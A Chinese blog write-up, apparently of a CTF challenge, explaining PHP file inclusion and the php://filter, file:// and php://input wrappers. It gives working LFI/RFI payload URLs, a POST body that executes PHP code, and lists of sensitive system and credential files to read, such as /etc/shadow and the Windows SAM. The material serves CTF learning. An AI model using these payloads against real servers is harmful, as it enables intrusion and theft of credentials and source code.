zoukankan      html  css  js  c++  java
  • include(文件包含漏洞,php伪协议)

    一道CTF题:

    点击tips:

    查看元素,也并没有有用的信息,联想到题目,include
    想起了文件包含漏洞。
    构造payload
    ?file=/../../../../../../flag.php

    没有返回东西。看完wq学到了一个新姿势:
    php伪代码

    https://segmentfault.com/a/1190000018991087
    https://www.freebuf.com/column/148886.html

    构造payload
    ?file=php://filter/read=convert.base64-encode/resource=flag.php
    使用 "php://filter"伪协议" 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

    构造Payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

    这里需要注意的是使用php://filter伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码

    发送请求得到base64编码后的flag.php文件源码:
    得到base64加密后的flag.php文件,丢去解密得到flag。

    文件包含漏洞

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
    `PHP中文件包含函数有以下四种:

    require()
    
    require_once()
    
    include()
    
    include_once()
    

    `

    示例代码

    如果服务器配置不当,可以目录跨越等等,传个../../../../../etc/passwd等等,可以查阅很多意外的文件。
    `windows常见文件:

    c:oot.ini // 查看系统版本
    
    c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
    
    c:windows
    epairsam // 存储Windows系统初次安装的密码
    
    c:ProgramFilesmysqlmy.ini // MySQL配置
    
    c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
    
    c:windowsphp.ini // php 配置信息
    

    linux常见文件:

    /etc/passwd // 账户信息
    
    /etc/shadow // 账户密码文件
    
    /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
    
    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
    
    /usr/local/app/php5/lib/php.ini // PHP相关配置
    
    /etc/httpd/conf/httpd.conf // Apache配置文件
    
    /etc/my.conf // mysql 配置文件
    

    文件包含分本地文件包含和远程文件包含,本地文件包含就是利用服务器的配置不当访问服务器本地的文件,而远程文件包含是在

    allow_url_fopen = On(是否允许打开远程文件)
    
    allow_url_include = On(是否允许include/require远程文件)
    

    `
    以上两个字段为On时,此时允许服务器包含远程的服务器的文件,这时可以在远程服务器配置一个马.txt之类的,里面写上php代码,让靶机去包含它。

    【file://协议】

    PHP.ini:

    file:// 协议在双off的情况下也可以正常使用;

    allow_url_fopen :off/on

    allow_url_include:off/on

    file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

    使用方法:

    file:// [文件的绝对路径和文件名]

    http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

    【php://协议】

    条件:

    不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

    参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

    php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

    PHP.ini:

    php://filter在双off的情况下也可以正常使用;

    allow_url_fopen :off/on

    allow_url_include:off/on

    测试现象:
    http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php


    测试现象:

    http://127.0.0.1/cmd.php?file=php://input
    
    [POST DATA] <?php phpinfo()?>
    

  • 相关阅读:
    求菲波那契数列的第n个数
    一个球,初始高度100,每次落下回弹一半高度,求第n次落下球走的距离
    MySQL优化
    linux常用命令2
    win7安装ANT
    win7配置java环境变量
    kvm虚拟机磁盘文件读取小结
    kvm linux虚拟机在线扩展磁盘
    binlog2sql
    linux上 查看mysql的binglog日志
  • 原文地址:https://www.cnblogs.com/cmredkulaa/p/14008645.html
Copyright © 2011-2022 走看看